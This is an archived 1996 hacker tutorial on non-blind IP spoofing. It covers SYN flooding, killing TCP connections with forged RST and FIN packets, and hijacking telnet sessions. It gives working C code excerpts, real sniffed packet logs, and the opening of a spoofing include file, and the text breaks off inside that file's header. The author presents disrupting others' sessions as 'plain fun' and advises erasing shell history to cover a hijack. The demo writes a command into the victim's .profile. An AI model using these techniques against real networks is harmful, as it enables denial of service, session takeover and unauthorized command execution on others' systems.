home *** CD-ROM | disk | FTP | other *** search
Text File | 2001-11-06 | 80.2 KB | 1,987 lines |
- -=[ A short overview of IP spoofing: PART I ]=-
- -=[ Part of 'The Packet Project']=-
-
- (Includes Source for Linux 1.3.X and later kernels)
- All text and Source code written by Brecht Claerhout (Copyright 1996)
- All source tested on Linux kernel 2.0.X
- All packet data captured with Sniffit 0.3.2 (a pre-release at that time)
- -------------------------------------------------------------------------------
-
- PART I: Simple spoofing (Non blind)
- -----------------------------------
-
- 0. Introduction
- 0.1 What
- 0.2 For whom
- 0.3 Disclaimer
- 0.4 Licence
-
- 1. Short explanation of some words
-
- 2. Description of sourcecode
- 2.1 Source included
- 2.2 Programmer notes
-
- 3. TCP/IP (UDP) in an hazelnutshell
-
- 4. Non-blind spoofing
- 4.1 Know what you are doing
- 4.2 SYN flooding
- 4.3 Connection Killing
- 4.3.1 Using reset (RST)
- 4.3.2 Closing a connection (FIN)
- 4.3.3 Improving
- 4.4 Connection Hijacking
- 4.5 Other
-
- 5. The source code
-
- -------------------------------------------------------------------------------
- PART I: Simple spoofing (Non blind)
- ------------------------------------------------------------------------------
-
- 0. Introduction
- ---------------
-
- 0.1 What
- --------
-
- This document describes some IP spoofing attacks and gives you example
- source code of the programs used for these attacks (and packet sniffer
- logs, so you see what exactly happens).
- It also provides you with an easy to use include file for experimenting a
- little yourself.
- Oh, if you make something nice with the "spoofit.h" file, please mail it to me
- (or a reference where it is available) with a little explanation on what it
- is (a few lines are enough)...
-
- If you have interesting remarks, comment, idea's, ... please contact me
- Brecht Claerhout <Coder@reptile.rug.ac.be>
- PoBox 144
- 9000 Gent 12
- Belgium
-
- If YOU think of yourself, you are "3><Tr3/\/\3lY 3Le3T", please don't bother
- contacting me.
- Flames >/dev/null or >/dev/echo depends on how smart you are.
-
- It is not wise to use what you don't know/understand, so read this before
- trying anything... it will only take a few minutes, and probably save you
- some hours of failure...
-
- This code is not crippled in the usual way (removing some vital parts),
- the power is limited by it's briefness, because I wanted to keep
- everything simple and illustrative (but working). It's a simple job to
- improve it, and that is the goal of this doc, that you improve it yourself.
-
- Thanks too Wim Vandeputte for spellchecking, and putting up
- with my constant nagging about IP during the writing of this sh!t...
-
- 0.2 For whom
- ------------
-
- For people with an elementary knowledge of TCP/IP, some knowledge on C (only
- the basic setup) and some general UNIX knowledge.
- It's no use reading this document if you are completely unaware of these
- things, but mind you, only a little knowledge is enough.
-
- 0.3 Disclaimer
- --------------
-
- I am in no way responsible for the use of this code. By using this
- software and reading this document you accept the fact that any damage
- (emotional, physical, dataloss and the end of the world as we know it ...)
- caused by the use or storage of these programs/documents is not MY
- responsability.
-
- I state that during the writing and testing of this document/source, I
- never violated any law. All spoofing was done between machines where I had
- legit root access, or where I had the permission from the legit root.
-
- This code can be written by any competent programmer, so this source is
- not so harmfull as some will say (cauz' I'm sure some people won't like
- this degree of disclosure).
-
- 0.4 Licence
- -----------
-
- All source code and text is freely available. You can spread it, as long
- as you don't charge for it (exceptions are a small reproduction fee, if
- it isn't spread together with commercial software, texts.)
- You may not spread parts of the document, it should be spread as one
- package. You may not modify the text and/or source code.
-
- You can use the spoofit.h or derived code in your own programs as long as
- they are not commercial (i.e. FREE), and you give me the credits for it.
-
-
- 1. Short explanation of some words
- ----------------------------------
-
- This is a short explanation of some words you might see in the
- text/source. You probably know all this, but I put it in here anyway.
-
- Sniffit
- My favourite Packet Sniffer, all sniffed sequences in this
- document where created with it. Sniffit can be obtained from:
- http://reptile.rug.ac.be/~coder/sniffit/sniffit.html
- Off course any other decent sniffer will do (but this one wears my
- personal marks and approval).
- (At time of writing a pre-release 0.3.2)
-
- IP-spoofing (further referenced to as spoofing)
- The forging of IP packets
- NOTE that not only IP based protocols are spoofed.
- NOTE that spoofing is also used on a constructive base (LAN spoofing,
- not discussed here).
- NOTE that I don't use it on a constructive base ;)
-
- Non-blind spoofing
- Using the spoofing to interfer with a connection that sends packets
- along your subnet (so generally one of the 2 hosts involved is located
- on your subnet, or all data traffic has to be passing your network
- device,... you might consider taking a job at some transatlantic route
- provider).
-
- Blind spoofing
- Using the spoofing to interfer with a connection (or creating one),
- that does not send packets along your cable.
-
-
- 2. Description of sourcecode
- ----------------------------
-
- 2.1 Source included
- -------------------
- spoofit.h
- The include file that provides some easy to use spoofing functions.
- To understand the include file and it's functions, read the header of
- that file for use of the C functions.
-
- *.c
- Example programs (on the use of spoofit.h) that are discussed in this
- document.
- Details on these programs are included in the appropriate sections.
-
- sniper-rst.c
- Basic TCP connection killer.
- (denial-of-services)
-
- sniper-fin.c
- Basic TCP connection killer.
- (denial-of-services)
-
- hijack.c
- Simple automated telnet connection hijacker.
-
- 2.2 Programmer notes
- --------------------
-
- These programs are just examples. That means, they could be improved a
- lot. Because I wanted to keep them short and leave some stuff to your
- imagination, they are very simple.
- However they all work and are a good starting point.
-
-
- 3. TCP/IP (UDP) in an hazelnutshell
- -----------------------------------
-
- Because it has been explained enough in 'Phrack Volume Seven, Issue
- Forty-Eight, File 14 of 18' by daemon9/route/infinity , and there is a lot of
- documentation available on the subject I will only repeat some things
- very briefly. (Please read the phrack #48 file or any other document on
- the subject before reading this).
-
- A connection is fully defined with 4 parameters, a source host and port,
- and a destination host and port.
-
- When you make a connection, data is send in packets. Packets take care of
- low level trafic, and make sure the data arrives (sometimes with special
- error handling). The spine of most networks is the IP protocol version 4.
- It is totally independent of all hardware protocols.
-
- TCP and UDP are higher level protocols wrapped up in IP packets.
-
- All those packets consist of a header and data.
-
- IP header contains (amongst other things): IP of source and destination
- hosts for that packet, and the protocol type of the packet wrapped up in
- it. (TCP=6, UDP=17, etc.).
-
- UDP packets contain (amongst other things): port number of source and
- destination host. UDP has no such thing as SEQ/ACK, it is a very weak
- protocol.
-
- TCP packets contain (amongst other things): port number of source and
- destination host, sequence and acknowledge numbers (further refered to as
- SEQ/ACK), and a bunch of flags.
- SEQ number: is counted byte per byte, and gives you the number of the
- NEXT byte to be send, or that is send in this packet.
- ACK number: is the SEQ number that is expected from the other host.
- SEQ numbers are chosen at connection initiation.
-
- I said is was going to be short... If you didn't understand the above
- text, read up on it first, because you won't understand sh!t of the rest.
-
-
- 4. Non-blind spoofing
- ---------------------
-
- 4.1 Know what you are doing
- ---------------------------
-
- The concept of non-blind spoofing (NBS further in this doc) is pretty
- simple. Because packets travel within your reach, you can get the current
- sequence and acknowledge (SEQ/ACK further in this doc) numbers on the
- connection.
- NBS is thus a very easy and accurate method of attack, but limited to
- connections going over your subnet.
- In spoofing documentation these attacks are sometimes ommited, because
- they are mostly 'denial-of-service' attacks, or because people don't
- realise the advantage a spoof (in particulary a hijack) can have above
- simple password sniffing.
-
- Spoofing in generally is refered to as a verry high level of attack. This
- refers to blind spoofing (BlS further in this doc), because NBS is
- kidstuff for a competent coder.
-
- 4.2 SYN flooding
- ----------------
-
- Thoroughly discussed in 'Phrack Volume Seven, Issue Forty-Eight, File 13 of
- 18'. I won't waste much time on it.
-
- Setup:
- host A <-----][----------X--------------->host B
- |
- host S <-----------------/
-
- Concept:
- Host S impersonates SYN (connection init) coming from host A, to host B.
- Host A should be unreachable (e.g. turned off, non existant,...).
- B sends out the second packet of the 3 way TCP handshake. Host B will now
- wait for response of host A.
- If host A is reachable it will tell host B (with a reset: RST) that it DID NOT
- inititate a connection, and thus host B received a bogus packet. (In that case
- host B will ingnore the SYN, and *normally* nothing will happen)
- So if A is unreachable, B will wait for response some time.
- When doing multiple attacks, the backlog of host B is going to be exceeded
- and host B will not except new connections (read on TCP bugs for
- additional features ;) for some time.
-
- 4.3 Connection Killing
- ----------------------
-
- Setup:
- host A <------X------------------------->host B
- | A,B have a TCP connection running
- host S <------/ A,S on same subnet
-
- (setup is the same in both cases)
-
- Use:
- Clearing mudders of your net, annoying that dude typing an important
- paper, etc... plain fun.
-
- 4.3.1 Using reset (RST)
- -----------------------
-
- Concept:
- TCP packets have flags which indicate the status of the packet, like RST.
- That is a flag used to reset a connection. To be accepted, only the
- sequence number has to be correct (there is no ACK in a RST packet).
- So we are going to wait for packets in a connection between A and B.
- Assume we wait for packets to A. We will calculate (from B's packets)
- the sequence number for A's packets (from B's ACK's), and fire a bogus RST
- packet from S (faking to be A) to B.
-
- An actual attack:
- (These are real sniffed packets, although IP numbers of hosts were changed)
- host A : 166.66.66.1
- host B : 111.11.11.11
- (S on same subnet as A)
-
- (This is a good example of how things not always go as you want, see
- below for a solution)
- 1) connection running...
- we wait for a packet to get current SEQ/ACK (A->B)
-
- TCP Packet ID (from_IP.port-to_IP.port): 166.66.66.1.1810-111.11.11.11.23
- SEQ (hex): 57E1F2A6 ACK (hex): B8BD7679
- FLAGS: -AP--- Window: 3400
- (data removed because irrelevant, 2 bytes data)
-
- 2) This is the ACK of it + included data (witch causes SEQ number to
- change, and thus messing up our scheme, because this came very fast.)
- (B->A)
-
- TCP Packet ID (from_IP.port-to_IP.port): 111.11.11.11.23-166.66.66.1.1810
- SEQ (hex): B8BD7679 ACK (hex): 57E1F2A8
- FLAGS: -AP--- Window: 2238
- (data removed because irrelevant, 2 bytes data)
-
- 3) ACK of it. (A->B)
-
- TCP Packet ID (from_IP.port-to_IP.port): 166.66.66.1.1810-111.11.11.11.23
- SEQ (hex): 57E1F2A8 ACK (hex): B8BD767B
- FLAGS: -A---- Window: 3400
- (data removed because irrelevant)
-
- 4) further data (B->A)
-
- TCP Packet ID (from_IP.port-to_IP.port): 111.11.11.11.23-166.66.66.1.1810
- SEQ (hex): B8BD767B ACK (hex): 57E1F2A8
- FLAGS: -AP--- Window: 2238
- (data removed because irrelevant)
-
- 5) ACK of it (A->B)
-
- TCP Packet ID (from_IP.port-to_IP.port): 166.66.66.1.1810-111.11.11.11.23
- SEQ (hex): 57E1F2A8 ACK (hex): B8BD7691
- FLAGS: -A---- Window: 3400
-
- 6) Now we get 2 RST packets. How do you explain that? Well, the first reset
- packet has been buffered somewhere on our system, because the ethernet
- segment was busy when we wanted to send it. This is the 'unexpected
- thing' I discussed above, here we are lucky, the data stream cooled down
- so fast.
- When it doesn't cool down so fast, we could miss our RST (or the
- connection will be killed a little later then when we wanted), you'll see
- some idea's on how to fix that problem.
-
- TCP Packet ID (from_IP.port-to_IP.port): 111.11.11.11.23-166.66.66.1.1810
- SEQ (hex): B8BD7679 FLAGS: ---R--
-
-
- TCP Packet ID (from_IP.port-to_IP.port): 111.11.11.11.23-166.66.66.1.1810
- SEQ (hex): B8BD7691 FLAGS: ---R--
- (This was the packet that killed the connection)
-
- Discussion of the program:
-
- The discussion here is a bit weird , that is because 'sniper-rst.c' is
- not designed to be an optimal killer, merly to be an example.
- We have the problem of speed here. We miss some packets what causes those
- resends. So we would design a better 'sniper' if we do the following:
- - use blocking IO (not necessarilly, because the RST killer would
- loose some of it's beauty (looping), this is dealt
- with in the FIN killer example. Blocking is a
- little faster when a lot of packets come after
- each other.)
- - multi-packet firing... fire more packets with incremented SEQ.
- (this is commented in the source)
- - waiting for a pure ACK packet (no data), because otherwise you
- risk to much of getting mid transmission and not being fast enough.
- (disadvantage is the 'waiting period' before the connection is
- killed)
-
- NOTE these examples were done on non-loaded networks, with non-loaded
- servers, what makes it a worst case scenario for speed problems.
-
- 4.3.2 Closing a connection (FIN)
- --------------------------------
-
- Concept:
- An other flag is FIN and says: "no more data from sender".
- This flag is used when closing a connection down the normal legit way. So
- if there was a way to make a packet that is accepted by one of the two
- hosts, this host would believe the 'sender' didn't have any data left.
- Following (real) packets would be ignored as they are considered bogus.
- That's it, because we can sniff the current SEQ/ACK of the connection we
- can pretend to be either host A or B, and provide the other host with
- CORRECT packetinformation, and an evil FIN flag.
- The beauty of it all is, that after a FIN is send the other host always
- replies with one if it is accepted, so we have a way to verify our
- killing, and can be 100% sure of success (if for some reason we missed a
- SEQ or ACK, we can just resend).
- RST killing is more popular and is prefered, but I've put this in as an
- example, and I like it myself.
-
-
- An actual attack:
- (These are real sniffed packets, although IP numbers of hosts were changed)
- host A : 166.66.66.1
- host B : 111.11.11.11
- (S on same subnet as A)
-
- 1) connection is running....
- sniper is started on host S as 'sniper-fin 166.66.66.1 23 111.11.11.11 1072'
- and waits for a packet to take action (we need to get SEQ/ACK)
- (mind you switching host A and B would be the same, only S would be
- impersonating A instead of B)
- suddenly a packet arrives... (A->B)
-
- TCP Packet ID (from_IP.port-to_IP.port): 166.66.66.1.23-111.11.11.11.1072
- SEQ (hex): 19C6B98B ACK (hex): 69C5473E
- FLAGS: -AP--- Window: 3400
- Packet ID (from_IP.port-to_IP.port): 166.66.66.1.23-111.11.11.11.1072
- 45 E 00 . 00 . 2A * 30 0 5E ^ 40 @ 00 . 40 @ 06 . 5E ^ AD . 9D . C1 . 45 E 33 3
- 9D . C1 . 2B + 0D . 00 . 17 . 04 . 30 0 19 . C6 . B9 . 8B . 69 i C5 . 47 G 3E >
- 50 P 18 . 34 4 00 . 3A : 61 a 00 . 00 . 0D . 0A .
- ~~~~~~~~~ > 2 data bytes
-
- 2) sniper detected it, and sends a bogus packet. (S as B -> A)
- We calculate our SEQ as: ACK of (A->B) packet
- We calculate our ACK as: SEQ of (A->B) packet + datalength of that packet
- (19C6B98B + 2 = 19C6B98D)
- (so we tell A, we received the last packet, and will not transmit
- further data)
-
- TCP Packet ID (from_IP.port-to_IP.port): 111.11.11.11.1072-166.66.66.1.23
- SEQ (hex): 69C5473E ACK (hex): 19C6B98D
- FLAGS: -A---F Window: 7C00
- (data removed because irrelevant)
-
- 3) host A now says: 'okay, you end the session, so here is my last data'
- (A->B)
-
- TCP Packet ID (from_IP.port-to_IP.port): 166.66.66.1.23-111.11.11.11.1072
- SEQ (hex): 19C6B98D ACK (hex): 69C5473E
- FLAGS: -AP--- Window: 3400
- (data removed because irrelevant)
-
- TCP Packet ID (from_IP.port-to_IP.port): 166.66.66.1.23-111.11.11.11.1072
- SEQ (hex): 19C6B998 ACK (hex): 69C5473F
- FLAGS: -A---- Window: 3400
- (data removed because irrelevant)
-
- 4) host A now has flushed its buffer and on his turn FIN's the connection.
- (A->B)
- sniper, intercepts this packet and now knows the hosts fell for the
- spoof and the killing was a success!
- (host A will no longer accept any data)
-
- TCP Packet ID (from_IP.port-to_IP.port): 166.66.66.1.23-111.11.11.11.1072
- SEQ (hex): 19C6B998 ACK (hex): 69C5473F
- FLAGS: -A---F Window: 3400
- (data removed because irrelevant)
-
- 5) We impersonated B, making A believe we had no further data. But B
- doesn't know that and continues to send packets.
- (B->A)
- host A has that connection closed, and thus thinks the real packets of
- B are spoofed (or at least bogus)! So host A sends some reset packets
- (RST).
-
- TCP Packet ID (from_IP.port-to_IP.port): 111.11.11.11.1072-166.66.66.1.23
- SEQ (hex): 69C5473E ACK (hex): 19C6B98D
- FLAGS: -A---- Window: 3750
- (data removed because irrelevant)
-
- TCP Packet ID (from_IP.port-to_IP.port): 166.66.66.1.23-111.11.11.11.1072
- SEQ (hex): 19C6B98D FLAGS: ---R--
- (data removed because irrelevant)
-
- 6) This goes on for a couple of packets.
-
-
- Discussion of the program (numbers correspond with those of 'An Actual
- Attack'):
-
- 1) stat=wait_packet(fd_receive,&pinfo,SOURCE,SOURCE_P,DEST,DEST_P,ACK,10);
- if(stat==-1) {printf("Connection 10 secs idle... timeout.\n");exit(1);}
-
- We use wait_packet on a non blocking socket. This way we can enable a
- 10 seconds timeout. This functions returns when the correct packet
- has been delivered (or timeout).
-
- 2) sp_seq=pinfo.ack;
- sp_ack=pinfo.seq+pinfo.datalen;
- transmit_TCP (fd_send, NULL,0,0,0,DEST,DEST_P,SOURCE,SOURCE_P,
- sp_seq,sp_ack,ACK|FIN);
-
- We calculate a spoofed SEQ/ACK, and fire off a fake FIN packet. As we
- don't send any data with it, our buffer is set to NULL and datalength
- to 0.
- NOTE together with FIN, you need to enable ACK.
-
- 3) N/A
-
- 4) stat=wait_packet(fd_receive,&pinfo,SOURCE,SOURCE_P,DEST,DEST_P,FIN,5);
- if(stat>=0)
- {printf("Killed the connection...\n");
- exit(0);}
-
- We wait for a FIN packet (note the FIN in wait_packet). We use a 5
- sec. timeout, if the function returns and stat>=0 (-1 on timeout), we
- know our attempt was successfull.
-
- 5) N/A
-
- 6) N/A
-
- NOTE We can have the same problem here as with the RST killer. But didn't
- have it here, because the packet we responded upon was the end of a
- data stream (in fact it was an echo from a shell command)
-
- 4.3.3 Improving
- ---------------
-
- Except from multipacket firing, it is advised to launch 2 attacks (one in
- both ways). This illiminates one side oriented connections to be handled
- optimally. I think of things like downloading data, which is a one way
- data-flow, it is much easier sending a RST from the (spoofed) receiver to
- the sender, then the other way around.
- Those 2 attacks could both impersonate host A and B, and thus giving is 4
- times more chance of a succesfull kill.
- I'll leave further experimenting up to you (use your imagination to handle
- different situations).
-
- 4.4 Connection Hijacking
- ------------------------
- Setup:
- host A <------X------------------------->host B
- | A,B have a TCP connection running (TELNET)
- host S <------/ A,S on same subnet
-
- Concept:
- (suppose a TELNET from A (client) to B (server))
- TCP separates good and bogus packets by their SEQ/ACK numbers i.e. B
- trusts the packets from A because of its correct SEQ/ACK numbers.
- So if there was a way to mess up A's SEQ/ACK, B would stop believing A's
- real packets.
- We could then impersonate to be A, but using correct SEQ/ACK numbers
- (that is numbers correct for B).
- We would now have taken over the connection (host A is confused, B thinks
- nothings wrong (almost correct, see 'actual attack'), and S sends
- 'correct' data to B).
- This is called 'Hijacking' a connection. (generally hijacking a TELNET session,
- but same could be done woth FTP, RLOGIN, etc...)
- How could we mess up A's SEQ/ACK numbers? Well by simply inserting a data
- packet into the stream at the right time (S as A->B), the server B would
- accept this data, and update ACK numbers, A would continue to send
- it's old SEQ numbers, as it's unaware of our spoofed data.
-
- Use:
- I allready hear you wiseguys yelling: "Hey dude, why hijack a connection
- if you can sniff those packets anyway??"
- Well, anybody heared of One Time Passwords, Secure Key?? Case closed....
- (S/Key: server challenges client, client and server calculate a code from
- the challenge and password, and compare that code. The password itself is
- never send on the cable, so you can't sniff sh!t).
- (OTP: server has a list of passwords, once one is used, it is destroyed,
- so sniffing gets you a password that has 'just' expired ;)
- (ALL types of identification that happen at connection (encrypted or not,
- trusted or not), and don't use encrypted data transfer, are vulnerable to
- 'hijacking'.)
-
- An actual attack:
- (These are real sniffed packets, although IP numbers of hosts were changed)
- (suppose a TELNET from A (client) to B (server))
- host A : 166.66.66.1
- host B : 111.11.11.11
- (S on same subnet as A)
-
- 1) connection running...
- we look with sniffit, and see he's busy in a shell, we start 'hijack'
- on host S as 'hijack 166.66.66.1 2035 111.11.11.11'
- a packet containing from (A->B) is detected... hijack takes action...
- (A->B)
-
- TCP Packet ID (from_IP.port-to_IP.port): 166.66.66.1.1040-111.11.11.11.23
- SEQ (hex): 5C8223EA ACK (hex): C34A67F6
- FLAGS: -AP--- Window: 7C00
- Packet ID (from_IP.port-to_IP.port): 166.66.66.1.1040-111.11.11.11.23
- 45 E 00 . 00 . 29 ) CA . F3 . 40 @ 00 . 40 @ 06 . C5 . 0E . 9D . C1 . 45 E 3F ?
- 9D . C1 . 2A * 0B . 04 . 10 . 00 . 17 . 5C \ 82 . 23 # EA . C3 . 4A J 67 g F6 .
- 50 P 18 . 7C | 00 . 6D m 29 ) 00 . 00 . 6C l
- ~~~~
-
- 2) host B (server) echo's that databyte (typing 'l' in a bash shell!!!)
- (you gotta know what you are doing)
- (B->A)
-
- TCP Packet ID (from_IP.port-to_IP.port): 111.11.11.11.23-166.66.66.1.1040
- SEQ (hex): C34A67F6 ACK (hex): 5C8223EB
- FLAGS: -AP--- Window: 2238
- Packet ID (from_IP.port-to_IP.port): 111.11.11.11.23-166.66.66.1.1040
- 45 E 00 . 00 . 29 ) B5 . BD . 40 @ 00 . FC . 06 . 1E . 44 D 9D . C1 . 2A * 0B .
- 9D . C1 . 45 E 3F ? 00 . 17 . 04 . 10 . C3 . 4A J 67 g F6 . 5C \ 82 . 23 # EB .
- 50 P 18 . 22 " 38 8 C6 . F0 . 00 . 00 . 6C l
- ~~~~
-
- 3) A simple ACK from host A to B responding to that echo. Because we know
- this can come, and we know a simple ACK doesn't contain data, we don't
- need this for SEQ/ACK calculation.
-
- TCP Packet ID (from_IP.port-to_IP.port): 166.66.66.1.1040-111.11.11.11.23
- SEQ (hex): 5C8223EB ACK (hex): C34A67F7
- FLAGS: -A---- Window: 7C00
- (data removed because irrelevant)
-
- 4) Now we impersonate further data (following packet 1). (S as A -> B)
- We calculate SEQ/ACK out of packet 1, NOT out of the 'echo' from B,
- because we have to be as fast as possible, and packet 2 could be slow.
- We send some backspaces and some enters. To clean up the command line.
- We will probably still get some error message back from the shell.
- But we handle that too! (see sourcecode)
-
- TCP Packet ID (from_IP.port-to_IP.port): 166.66.66.1.1040-111.11.11.11.23
- SEQ (hex): 5C8223EB ACK (hex): C34A67F6
- FLAGS: -AP--- Window: 7C00
- Packet ID (from_IP.port-to_IP.port): 166.66.66.1.1040-111.11.11.11.23
- 45 E 00 . 00 . 32 2 31 1 01 . 00 . 00 . 45 E 06 . 99 . F8 . 9D . C1 . 45 E 3F ?
- 9D . C1 . 2A * 0B . 04 . 10 . 00 . 17 . 5C \ 82 . 23 # EB . C3 . 4A J 67 g F6 .
- 50 P 18 . 7C | 00 . AE . F5 . 00 . 00 . 08 . 08 . 08 . 08 . 08 . 08 . 08 . 08 .
- 0A . 0A .
-
- 5) This is the echo of our spoofed data. Look at ACK. (B->A)
- 5C8223F5 = 5C8223EB + 0A (this is how we detect that the spoof was a
- success)
- NOTE that at this point the connection is ours, and A's SEQ/ACK
- numbers are completely f#cked up according to B.
-
- TCP Packet ID (from_IP.port-to_IP.port): 111.11.11.11.23-166.66.66.1.1040
- SEQ (hex): C34A67F7 ACK (hex): 5C8223F5
- FLAGS: -AP--- Window: 2238
- Packet ID (from_IP.port-to_IP.port): 111.11.11.11.23-166.66.66.1.1040
- 45 E 00 . 00 . 3C < B5 . BE . 40 @ 00 . FC . 06 . 1E . 30 0 9D . C1 . 2A * 0B .
- 9D . C1 . 45 E 3F ? 00 . 17 . 04 . 10 . C3 . 4A J 67 g F7 . 5C \ 82 . 23 # F5 .
- 50 P 18 . 22 " 38 8 26 & 7C | 00 . 00 . 5E ^ 48 H 5E ^ 48 H 5E ^ 48 H 5E ^ 48 H
- 5E ^ 48 H 5E ^ 48 H 5E ^ 48 H 5E ^ 48 H 0D . 0A . 0D . 0A .
-
- 6) Hijack will now try to get on track of SEQ/ACK numbers again, to send
- the data we want to be executed.
- NOTE each time a packet 'out of numbering' arrives the host should
- answer with correct SEQ/ACK, this provides us with the certainty
- that a lot of packets are going to be send with correct (and not
- changing) SEQ/ACK nrs. (this is where the mechanism of getting our
- numbers back straight is based upon)
- NOTE it's at this point the real TELNET client's session hangs, most
- people ignore this and re-login after a few secs, accepting the
- accident as Murphy's law.
- (Well it *can* happen without any spoofing involved)
-
- TCP Packet ID (from_IP.port-to_IP.port): 166.66.66.1.1040-111.11.11.11.23
- SEQ (hex): 5C8223EB ACK (hex): C34A67F7
- FLAGS: -AP--- Window: 7C00
- (data removed because irrelevant)
-
-
- TCP Packet ID (from_IP.port-to_IP.port): 111.11.11.11.23-166.66.66.1.1040
- SEQ (hex): C34A680B ACK (hex): 5C8223F5
- FLAGS: -A---- Window: 2238
- (data removed because irrelevant)
-
-
- TCP Packet ID (from_IP.port-to_IP.port): 166.66.66.1.1040-157.193.42.11.23
- SEQ (hex): 5C8223EB ACK (hex): C34A67F7
- FLAGS: -AP--- Window: 7C00
- (data removed because irrelevant)
-
-
- TCP Packet ID (from_IP.port-to_IP.port): 111.11.11.11.23-166.66.66.1.1040
- SEQ (hex): C34A680B ACK (hex): 5C8223F5
- FLAGS: -A---- Window: 2238
- (data removed because irrelevant)
-
- 7) We are back on track (or at least hijack is, because this is going
- very fast). And we fire off our faked bash command.
-
- echo "echo HACKED" >> $HOME/.profile<ENTER>
-
- TCP Packet ID (from_IP.port-to_IP.port): 166.66.66.1.1040-111.11.11.11.23
- SEQ (hex): 5C8223F5 ACK (hex): C34A680B
- FLAGS: -AP--- Window: 7C00
- Packet ID (from_IP.port-to_IP.port): 166.66.66.1-111.11.11.11.23
- 45 E 00 . 00 . 4D M 31 1 01 . 00 . 00 . 45 E 06 . 99 . DD . 9D . C1 . 45 E 3F ?
- 9D . C1 . 2A * 0B . 04 . 10 . 00 . 17 . 5C \ 82 . 23 # F5 . C3 . 4A J 68 h 0B .
- 50 P 18 . 7C | 00 . 5A Z B6 . 00 . 00 . 65 e 63 c 68 h 6F o 20 22 " 65 e 63 c
- 68 h 6F o 20 48 H 41 A 43 C 4B K 45 E 44 D 22 " 20 3E > 3E > 24 $ 48 H 4F O
- 4D M 45 E 2F / 2E . 70 p 72 r 6F o 66 f 69 i 6C l 65 e 0A . 00 .
-
- 8) now we wait for this data to be confirmed.
- ACK = 5C8223F5 + 025 (=37 bytes)
-
- TCP Packet ID (from_IP.port-to_IP.port): 111.11.11.11.23-166.66.66.1.1040
- SEQ (hex): C34A680B ACK (hex): 5C82241A
- FLAGS: -AP--- Window: 2238
- Packet ID (from_IP.port-to_IP.port): 157.193.42.11.23-157.193.69.63.1040
- (data removed because irrelevant)
-
- 9) The connection runs on. Now you can execute more commands (just stay
- on track of SEQ/ACK), and even finnish the connection (with the same
- mechanism of sniper, or with sniper itself... here FIN is recommended).
- NOTE: here it is important to be in a shell. But if you have been
- watching someone, and you notice he's always directly going to
- 'pine' and you can't get inbetween on time.
- NO PROBS.... just make a cleanup string that cleans up
- 'pine' and puts you back in the shell. (some control chars,
- hotkeys, whatever....)
- NOTE: if you clean up the .sh_history of .bash_history (whatever) this
- attack is one of the nicest there is. Another advantage above
- sniffing.
- NOTE: Noone says you have to make a .rhosts file (rlogin and
- family might be disabled), you can change permissions, put
- stuff SUID, put it public, install stuff, mail, etc..
-
- Discussion of the program (numbers correspond with those of 'An Actual
- Attack'):
-
- 1) wait_packet(fd_receive,&attack_info,CLIENT, CLIENT_P, SERVER, 23,ACK|PSH,0);
-
- Waiting for actual data (PSH is always used for packets containing
- data in interactive services like TELNET)
-
- 2) N/A
-
- 3) N/A
-
- 4) sp_seq=attack_info.seq+attack_info.datalen;
- sp_ack=attack_info.ack;
- transmit_TCP(fd_send, to_data,0,0,sizeof(to_data),CLIENT, CLIENT_P, SERVER,
- 23,sp_seq,sp_ack,ACK|PSH);
-
- We recalculate the sequence number (using SEQ and datalength of packet 1)
- an we send a spoofed packet with ACK and PSH flag, containing the
- cleanup data in to_data.
-
- 5) while(count<5)
- {
- wait_packet(fd_receive, &attack_info,SERVER,23,CLIENT,CLIENT_P,ACK,0);
- if(attack_info.ack==sp_seq+sizeof(to_data))
- count=PERSONAL_TOUCH;
- else count++;
- };
-
- We wait for a confirmation that our spoofed sequence is accepted. We
- expect a packet with an ACK set (PSH or not). It should come within 5
- packets, we use this limit, because we should be able to handle some
- previous ACK packets!
- NOTE we don't check SEQ nrs, because we have no clue of what they are
- going to be (data might have been send our way, or not).
-
- 6) while(count<10)
- {
- old_seq=serv_seq;
- old_ack=serv_ack;
- wait_packet(fd_receive,&attack_info,SERVER, 23, CLIENT, CLIENT_P,
- ACK,0);
- if(attack_info.datalen==0)
- {
- serv_seq=attack_info.seq+attack_info.datalen;
- serv_ack=attack_info.ack;
- if( (old_seq==serv_seq)&&(serv_ack==old_ack) )
- count=PERSONAL_TOUCH;
- else count++;
- }
- };
-
- To get back on track, we try to receive 2 ACK packets without data
- with the same SEQ/ACK. We know enough packets will be send as a
- response to incorrect packets from the confused host A.
- This is how we get back on track.
- NOTE In a case where A completely gave up, simple spoof a packet with
- incorrect SEQ/ACK to get the correct numbers back.
-
- 7) transmit_TCP(fd_send, evil_data,0,0,sizeof(evil_data),CLIENT,CLIENT_P,
- SERVER,23,serv_ack,serv_seq,ACK|PSH);
-
- Pretty clear....
-
- 8) while(count<5)
- {
- wait_packet(fd_receive,&attack_info,SERVER,23,CLIENT,CLIENT_P,ACK,0);
- if(attack_info.ack==serv_ack+sizeof(evil_data))
- count=PERSONAL_TOUCH;
- else count++;
- };
-
- and again waiting for confirmation.
-
- NOTE after the above attack, hijack had produced the following output:
-
- Starting Hijacking demo - Brecht Claerhout 1996
- -----------------------------------------------
-
- Takeover phase 1: Stealing connection.
- Sending Spoofed clean-up data...
- Waiting for spoof to be confirmed...
- Phase 1 ended.
-
- Takeover phase 2: Getting on track with SEQ/ACK's again
- Server SEQ: C34A680B (hex) ACK: 5C8223F5 (hex)
- Phase 2 ended.
-
- Takeover phase 3: Sending MY data.
- Sending evil data.
- Waiting for evil data to be confirmed...
- Phase 3 ended.
-
- 4.5 Other
- ---------
-
- This list is far from complete, I'm sure you can think of other nice things
- to do with this information, think, experiment and code!
-
-
- 5. The source code
- ------------------
-
- ---=[ spoofit.h ]=------------------------------------------------------------
- /**************************************************************************/
- /* Spoofit.h - Include file for easy creating of spoofed TCP packets */
- /* Requires LINUX 1.3.x (or later) Kernel */
- /* (illustration for 'A short overview of IP spoofing') */
- /* V.1 - Copyright 1996 - Brecht Claerhout */
- /* */
- /* Purpose - Providing skilled people with a easy to use spoofing source */
- /* I used it to be able to write my tools fast and short. */
- /* Mind you this is only illustrative and can be easily */
- /* optimised. */
- /* */
- /* Author - Brecht Claerhout <Coder@reptile.rug.ac.be> */
- /* Serious advice, comments, statements, greets, always welcome */
- /* flames, moronic 3l33t >/dev/null */
- /* */
- /* Disclaimer - This file is for educational purposes only. I am in */
- /* NO way responsible for what you do with this file, */
- /* or any damage you or this file causes. */
- /* */
- /* For whom - People with a little knowledge of TCP/IP, C source code */
- /* and general UNIX. Otherwise, please keep your hands of, */
- /* and catch up on those things first. */
- /* */
- /* Limited to - Linux 1.3.X or higher. */
- /* If you know a little about your OS, shouldn't be to hard */
- /* to port. */
- /* */
